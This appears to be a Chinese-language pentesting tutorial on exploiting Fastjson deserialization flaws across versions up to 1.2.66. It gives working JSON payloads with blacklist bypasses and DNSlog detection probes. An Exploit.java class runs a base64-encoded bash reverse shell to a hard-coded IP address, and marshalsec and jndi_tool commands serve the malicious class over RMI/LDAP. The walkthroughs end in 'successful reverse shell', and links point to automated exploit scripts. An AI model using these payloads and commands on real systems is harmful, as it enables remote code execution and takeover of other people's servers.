Fastjson
Fastjson是阿里巴巴公司开源的一个高性能的Java库,专门用于处理JSON数据格式。它不仅能够将Java对象序列化为JSON格式的字符串,还能将JSON字符串反序列化为Java对象。
历史漏洞
Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞
FastJson <= 1.2.24:
Fastjson版本 1.2.24 及之前的版本中存在一个特定的反序列化漏洞,该漏洞可以被利用来执行远程代码。这个漏洞主要由于 Fastjson 在处理 JSON 对象时,自动匹配并调用 Java 对象的 setter 方法,如果JSON 中包含了 Java 对象的setter 方法可以被调用的属性,攻击者可以利用这个特性来触发恶意行为。
例如,攻击者可以构造一个包含特定类引I用的JSON对象,该类具有可以执行系统命令的setter 方法。当 Fastjson 尝试反序列化这个 JSON 对象时,它将自动调用这些 setter 方法,从而可能执行攻击者的代码。
为了修复这个问题,Fastjson 的开发者在后续版本中引l入了额外的安全措施,例如:
黑白名单:允许用户指定哪些类可以被反序列化,哪些类应该被排除。
autoTypeSupport:默认情况下禁用自动类型支持,需要显式开启。
增强的安全性:在解析 JSON 时增加了更多的安全检查。
Poc:
@type:目标反序列化类名;
dataSourceName:RMI注册中心绑定恶意服务;
autoCommit:在Fastjson JdbcRowSetImpl链中反序列化时,会去调用setAutoCommit方法。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1389/Exploit", "autoCommit":true}
FastJson <= 1.2.41
第一个 Fastjson 反序列化漏洞爆出后,阿里在 1.2.25 版本设置了 autoTypeSupport 属性默认为false,并且增加了 checkAutoType()函数,通过黑白名单的方式来防御 Fastjson 反序列化漏洞,因此后面发现的Fastjson 反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的的。
com.sun.rowset.jdbcRowSetlmpl 在 1.2.25 版本被加入了黑名单,Fastjson 有个判断条件判断类名是否以"L"开头、以";"结尾,是的话就提取出其中的类名在加载进来那么就可以构造如下 EXP。
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"rmi://ip:9999/Exploit", "autoCommit":true}
FastJson <= 1.2.42
阿里在发现这个绕过漏洞之后做出了类名如果为L开头;结尾的时候就先去掉L和;进行黑名单检验的方法,但是没有考虑到双写或多写的情况,也就是说这种方法只能防御一组[和;,构造exp如下,即双写和;
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://x.x.x.x:9999/exp", "autoCommit":true}
FastJson <= 1.2.47
在1.2.47版本及以下的情况下,loadclass 中默认 cache 为 true,首先使用 java.lang.Class 把获取到的类缓存到mapping 中,然后直接从缓存中获取到了com.sun.rowset.jdbcRowSetlmpl 这个类,即可绕过黑名单。
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://ip:9999/exp", "autoCommit": true }}
FastJson <= 1.2.66
基于黑名单绕过,autoTypeSupport 属性为 true 才能使用,在 1.2.25 版本之后 autoTypeSupport 默认为 false。
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://ip:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://ip:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://ip:1389/Calc"}
判断是否存在漏洞
报错判断
制造报错,看是否可能存在 fastjson 漏洞,这个 Whitelabel Error Page
报错页面是典型的存在漏洞的页面。
!!!注意点 : Content-Type 必须 写为 application/json !!!标明是 JSON 数据 !!!才会让服务器调用 fastjson 等相关 json 解释器!!!
Content-Type: application/json
dnslog 判断!!
原理:java.net.InetAddress这个类在实例化时会尝试对example.com进行域名解析,这时候可以通过dnslog的方式得知漏洞是否存在。
payload:
{
"@type":"java.net.Inet4Address",
"val":"任意字符.eyes.sh"
}
测试时发现有时在解析JSON前会判断类型是否匹配,匹配失败则在解析前抛出异常,因此更改payload为如下:
{
"name":{
"@type":"java.net.InetAddress",
"val":"任意字符.eyes.sh"
}
}
高版本绕过 payload —— 需服务器开启了 autoType:
{
"name":{
"@type":"Ljava.net.InetAddress;",
"val":"任意字符.qydzoe.dnslog.cn"
}
}
{
"name":{
"@type":"LLjava.net.InetAddress;;",
"val":"任意字符.qydzoe.dnslog.cn"
}
}
漏洞利用姿势
JNDI + RMI
JNDI
JNDI(TheJavaNamingandDirectoryInterface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
可以访问以下命名/目录服务:
RMI(JAVA远程方法调用)
LDAP(轻量级目录访问协议)
CORBA(公共对象请求代理体系结构)
DNS (域名服务)
RMI
RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。
marsalsec(数据包要自己生成!!!)(LDAP和RMI手法一样,用的类不同而已)
经典三次(三段监听)全流程手工 —— 与 log4j 渗透手法实在如出一辙,放在一起比较:
流程同 log4j 一模一样,除了最后发送给服务器的 EXP 不同。
fastjson —— 发送 恶意 JSON 数据包(利用类进行 URL 访问我们的 RMI,RMI 再进行二次跳转下载恶意类)。
log4j —— 发送恶意 payload —— ${jndi:ldap://Host:Port} —— 利用上方漏洞说明中的特性,遇到 ${} 变量,xx类以 "
:
" 为分割,冒号后面的内容去冒号前面的类中寻找并执行,使得成功进行 ldap 重定向,于是我们传给服务器 ldap 地址访问我们的 RMI 服务即可,然后 RMI 再进行 重定向 二次跳转 下载挂载的恶意类 实现 Getshell。log4j 的 marsalsec 也是一样的需要三次跳转,只不过第一步发给 服务器 的 EXP 不同而已:
fastjson 是发送相应的类执行 URL 重定向到 RMI 服务。
log4j 是 向服务器发送的 ldap 服务,利用 ldap 服务重定向到 RMI 服务。
具体渗透手法
生成恶意类代码文件:
// javac Exploit.java import java.lang.Runtime; import java.lang.Process; public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNTUuMTY5LjEyOC80MjAxIDA+JjE=}|{base64,-d}|{bash,-i}"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } }
javac xxx.java —— 编译
root@QiaoShen:~/QiaoShen/fastjson/marshalsec# ls Exploit.java marshalsec-0.0.3-SNAPSHOT-all.jar root@QiaoShen:~/QiaoShen/fastjson/marshalsec# java -version java version "1.8.0_421" Java(TM) SE Runtime Environment (build 1.8.0_421-b25) Java HotSpot(TM) 64-Bit Server VM (build 25.421-b25, mixed mode) root@QiaoShen:~/QiaoShen/fastjson/marshalsec# javac Exploit.java root@QiaoShen:~/QiaoShen/fastjson/marshalsec# ls Exploit.class Exploit.java marshalsec-0.0.3-SNAPSHOT-all.jar
# LDAP 则用 marshalsec.jndi.LDAPRefServer 类即可。
借助marshalsec项目启动一个RMI服务器,监听一个端口,并指定加载远程类Exploit.classmaven打包项目成jar包:
#启动 RMI 服务器手法: java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://120.55.169.128:8000/#Exploit"
RMI 重定向到的端口处挂起恶意类
python3 -m http.server
Exp —— 向服务器发送的 JSON 数据包:
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://RMI_Server_Host:Port(挂起 RMI 服务的 VPS_ip)/恶意类名(Java 中,文件名需要是代码中的某个类才可以)", "autoCommit":true } }
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://120.55.169.128:42100/Exploit", "autoCommit":true } }
成功访问 RMI 服务器并进行重定向
成功下载恶意类
反弹 Shell :
jndi_tool(RMI) —— 两段!!!自动挂起!!!
两段!!!
jndi_tool 的 RMI 方法 也是只需要两段即可。
jndi_tool 在创建 RMI 服务器端的时候,也会自动挂起恶意类,服务器发送的请求是直接访问 Download 我们的恶意类。
只需要:
jndi_tool 生成payload。
VPS 监听 端口。
向服务器发送 jndi_tool 生成的 payload。
jndi_tool 使用方法:
java -cp jndi_tool.jar jndi.HRMIServer Host Port "要执行的命令"
java -cp jndi_tool.jar jndi.HRMIServer 120.55.169.128 42100 "/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNTUuMTY5LjEyOC80MjAxIDA+JjE=}|{base64,-d}|{bash,-i}"
成功反弹 Shell ,注意是用下面的这个 完整 payload !!!
jndi_tool(LDAP) —— 两段!!!自动挂起!!!
两段!!!
原理和 jndi_tool 的 RMI 完全相同
只是服务不同,一个是 RMI 一个是 LDAP 而已。
推荐 LDAP ,高版本 Java 很多都会禁用 RMI 的端口,LDAP 很多时候可以绕过,且 LDAP 可以结合高阶渗透应用。
java -cp jndi_tool.jar jndi.HLDAPServer 120.55.169.128 42100 Host Port "要执行的命令"
java -cp jndi_tool.jar jndi.HLDAPServer 120.55.169.128 42100 "/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNTUuMTY5LjEyOC80MjAxIDA+JjE=}|{base64,-d}|{bash,-i}"
成功反弹 Shell
脚本!!!
现在才开始脚本,别搞混了。
FastJsonVulnExp(神器!!!推荐)
git clone https://gitee.com/yijingsec/FastJsonVulnExp.git
cd FastJsonVulnExp
python fastjson_tool.py
只用两段(神器!!) —— 自动生成恶意类并启动 LDAP 或 RMI 服务成为服务端,并在 LDAP 或 RMI 服务端口自动挂载恶意类。
RMI 成功反弹 Shell:
LDAP 成功反弹 Shell:
jndi_marsalsec(三次!!不推荐!!但是也可以一键生成 log4j ,但是还是难用!!)(该工具唯一的作用就是生成了发往 服务器的 EXP_Payload)
下载脚本:
git clone https://gitee.com/yijingsec/jndi_marshalsec.git
cd jndi_marshalsec
python jndi_marshalsec.py
两段三段!!!!!!!!!
工具生成 payload
挂起重定向恶意类 Http 服务
监听端口即可。
向服务器发送恶意 EXP !
生成payload
成功访问 LDAP 服务,反弹 Shell
RMI 成功反弹:
LDAP:
RMI:
LDAP:
RMI:
总结:
jndi的tool 和 marsalsec 作用是一样的!!!!
都是启动 RMI 或者 LDAP 服务成为服务端!!!然后生成 payload !!他俩同时存在一个即可不会同时使用!!!